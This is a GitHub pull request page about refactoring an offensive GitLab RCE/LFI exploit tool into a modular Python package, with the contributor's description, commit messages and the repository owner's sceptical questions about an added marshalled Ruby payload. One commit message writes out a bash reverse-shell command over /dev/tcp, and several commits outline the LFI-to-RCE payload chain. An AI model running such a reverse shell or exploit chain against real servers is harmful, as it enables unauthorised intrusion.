Skip to content

Refactor: modularize gitlab_rce codebase into clean src/ structure following best practices#1

Open
LinuxUser255 wants to merge 8 commits into
dotPY-hax:mainfrom
LinuxUser255:main
Open

Refactor: modularize gitlab_rce codebase into clean src/ structure following best practices#1
LinuxUser255 wants to merge 8 commits into
dotPY-hax:mainfrom
LinuxUser255:main

Conversation

@LinuxUser255
Copy link
Copy Markdown

@LinuxUser255 LinuxUser255 commented May 15, 2026

PR: Refactor monolithic script into clean, modular codebase with separation of concerns

Refactored the entire codebase by breaking the large gitlab_rce-refactor.py into a well-structured, maintainable Python package under src/, following best practices.

Key Changes

  • Converted to a proper package with src/ layout and minimal main.py entry point
  • Replaced inheritance-heavy design with composition throughout (strong separation of concerns)
  • Split responsibilities into focused modules:
    • client.py, parsers.py, version.py, runner.py
    • exploits/ subpackage (each exploit now uses composition)
  • Removed GitlabRCE1281LFIUser and simplified the RCE → LFI inheritance chain
  • Improved code quality (PEP 8, f-strings, formatting, etc.)
  • Added .gitignore, requirements.txt, and cleaned up README.md

The original functionality remains unchanged — only structure, readability, and maintainability were improved.

The original README.md mentioned that this script “needs a HUGE refactor some time in the future.” Refactoring codebases is something I enjoy doing from time to time, so I went ahead and gave it a go.

Hope this helps! The code is now much cleaner and more maintainable. Still needs some work on popping shells, but the improved formatting and separation of concerns should make future enhancements and scalability much easier.


This refactor was guided by the Python Best Practices along with DRY, KISS, SOLID principles, and the Zen of Python.

Break gitlab_rce-refactor.py into a proper Python package under src/
with a minimal main.py entry point.

Structure
---------
src/
  client.py      — GitlabClient replaces the GitlabRCE base class;
                   all exploits receive it via composition
  parsers.py     — extracted GitlabParse, ProjectIDParse, VersionParse
  version.py     — detect_version() function replaces GitlabVersion subclass
  runner.py      — CLI menu and dispatch; absorbs GitlabRCE1281LFIUser
  exploits/
    rce_1147.py  — RCE1147(client); no inheritance
    lfi_1281.py  — LFI1281(client, path); read_file() returns contents
    rce_1281.py  — RCE1281(client); uses LFI1281 via composition,
                   eliminating the RCE→LFI→base inheritance chain

Design decisions
----------------
- Composition over inheritance throughout; no multiple inheritance
- GitlabRCE1281LFIUser deleted (was a subclass just for one input() call)
- create_empty_project() returns the project name so exploit logic
  does not depend on client.projects list ordering across runs
- Marshal template and Redis template extracted as module-level constants
- PEP 8 pass on refactor file: f-strings, dict formatting, super(),
  import ordering, line lengths, slice spacing

Also added
----------
- .gitignore  (Python standard + project-specific loot/output dirs)
- requirements.txt
- README.md cleanup: CVE table, NVD links, updated usage
…x shell command

- Removed _MARSHAL_TEMPLATE and _length_byte entirely
- Build payload as raw byte concatenation (no templates, no escaping,
  no manual length calculation)
- Use single-quoted shell command: /bin/sh -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'
  to prevent quoting issues with /bin/sh
- Rest of the code (run loop, _deliver, _parse_secret_key, class structure)
  remains unchanged
@dotPY-hax
Copy link
Copy Markdown
Owner

dotPY-hax commented May 15, 2026

Thank you for you PR. 2 hours between fork and pull request is quite a feat to refactor the whole project while keeping the functionality untouched. I have a few questions

  • what were the reasons you chose a more modular design as opposed to the monolithic design? What would be the advantages or disadvantages?
  • I fail to understand how moving from inheritance to composition improves the separation of concerns on such a mono task project
  • would you mind to elaborate on the marshalled ruby payload you added to the project?
  • why would you choose to add requirements to the requirements.txt which are already met in a standard installation?
  • I respect the effort but why did you bother to refactor a 6 year old exploit for even older gitlab versions?

- Use compiled ERB bytecode instead of raw template syntax
- Calculate length byte dynamically (src_len + 5)
- Use bash -c explicitly for fd redirection support
- Add exploit-dev/ directory with annotated analysis scripts
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants